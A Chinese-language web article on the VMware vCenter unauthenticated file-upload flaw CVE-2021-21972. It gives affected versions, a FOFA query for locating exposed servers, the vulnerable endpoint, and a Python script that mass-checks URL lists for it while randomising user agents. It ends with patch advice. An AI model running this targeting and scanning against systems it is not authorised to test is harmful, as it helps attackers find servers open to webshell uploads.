主頁 > 知識(shí)庫 > 關(guān)于Vmware vcenter未授權(quán)任意文件上傳漏洞(CVE-2021-21972)的問題

關(guān)于Vmware vcenter未授權(quán)任意文件上傳漏洞(CVE-2021-21972)的問題

熱門標(biāo)簽:南充電銷外呼系統(tǒng) 株洲電銷 南昌外呼系統(tǒng)定制 陜西辦理400電話 信陽電銷外呼系統(tǒng)怎么樣 貴陽網(wǎng)絡(luò)外呼系統(tǒng)軟件 宿州外呼系統(tǒng)公司 海外工廠地圖標(biāo)注 地圖標(biāo)注小程序

背景

CVE-2021-21972 vmware vcenter的一個(gè)未授權(quán)的命令執(zhí)行漏洞。該漏洞可以上傳一個(gè)webshell至vcenter服務(wù)器的任意位置,然后執(zhí)行webshell即可。

影響版本

vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5

漏洞復(fù)現(xiàn) fofa查詢

語法:title="+ ID_VC_Welcome +"

POC

https://x.x.x.x/ui/vropspluginui/rest/services/uploadova

使用https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC腳本批量驗(yàn)證

#-*- coding:utf-8 -*-
banner = """
    888888ba       dP           
    88  `8b      88           
    a88aaaa8P' .d8888b. d8888P .d8888b. dP  dP 
    88  `8b. 88' `88  88  Y8ooooo. 88  88 
    88  .88 88. .88  88     88 88. .88 
    88888888P `88888P8  dP  `88888P' `88888P' 
  ooooooooooooooooooooooooooooooooooooooooooooooooooooo 
        @time:2021/02/24 CVE-2021-21972.py
        C0de by NebulabdSec - @batsu         
 """
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

def get_ua():
  first_num = random.randint(55, 62)
  third_num = random.randint(0, 3200)
  fourth_num = random.randint(0, 140)
  os_type = [
    '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
    '(Macintosh; Intel Mac OS X 10_12_6)'
  ]
  chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

  ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
          '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
         )
  return ua

def CVE_2021_21972(url):
  proxies = {"scoks5": "http://127.0.0.1:1081"}
  headers = {
    'User-Agent': get_ua(),
    "Content-Type": "application/x-www-form-urlencoded"
  }
  targetUrl = url + TARGET_URI
  try:
    res = requests.get(targetUrl,
              headers=headers,
              timeout=15,
              verify=False,
              proxies=proxies)
              # proxies={'socks5': 'http://127.0.0.1:1081'})
    # print(len(res.text))
    if res.status_code == 405:
      print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
      # print("[+] Command success result: " + res.text + "\n")
      with open("存在漏洞地址.txt", 'a') as fw:
        fw.write(url + '\n')
    else:
      print("[-] " + url + " 沒有發(fā)現(xiàn)CVE-2021-21972漏洞.\n")
  # except Exception as e:
  #   print(e)
  except:
    print("[-] " + url + " Request ERROR.\n")
def multithreading(filename, pools=5):
  works = []
  with open(filename, "r") as f:
    for i in f:
      func_params = [i.rstrip("\n")]
      # func_params = [i] + [cmd]
      works.append((func_params, None))
  pool = threadpool.ThreadPool(pools)
  reqs = threadpool.makeRequests(CVE_2021_21972, works)
  [pool.putRequest(req) for req in reqs]
  pool.wait()

def main():
  parser = argparse.ArgumentParser()
  parser.add_argument("-u",
            "--url",
            help="Target URL; Example:http://ip:port")
  parser.add_argument("-f",
            "--file",
            help="Url File; Example:url.txt")
  # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
  args = parser.parse_args()
  url = args.url
  # cmd = args.cmd
  file_path = args.file
  if url != None and file_path ==None:
    CVE_2021_21972(url)
  elif url == None and file_path != None:
    multithreading(file_path, 10) # 默認(rèn)15線程

if __name__ == "__main__":
  main()

EXP 修復(fù)建議

vCenter Server7.0版本升級(jí)到7.0.U1c
vCenter Server6.7版本升級(jí)到6.7.U3l
vCenter Server6.5版本升級(jí)到6.5 U3n

到此這篇關(guān)于關(guān)于Vmware vcenter未授權(quán)任意文件上傳漏洞(CVE-2021-21972)的問題的文章就介紹到這了,更多相關(guān)Vmware vcenter上傳漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

標(biāo)簽:石嘴山 三明 開封 鄭州 汕頭 拉薩 玉林 晉城

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《關(guān)于Vmware vcenter未授權(quán)任意文件上傳漏洞(CVE-2021-21972)的問題》,本文關(guān)鍵詞  關(guān)于,Vmware,vcenter,未,授權(quán),;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《關(guān)于Vmware vcenter未授權(quán)任意文件上傳漏洞(CVE-2021-21972)的問題》相關(guān)的同類信息!
  • 本頁收集關(guān)于關(guān)于Vmware vcenter未授權(quán)任意文件上傳漏洞(CVE-2021-21972)的問題的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章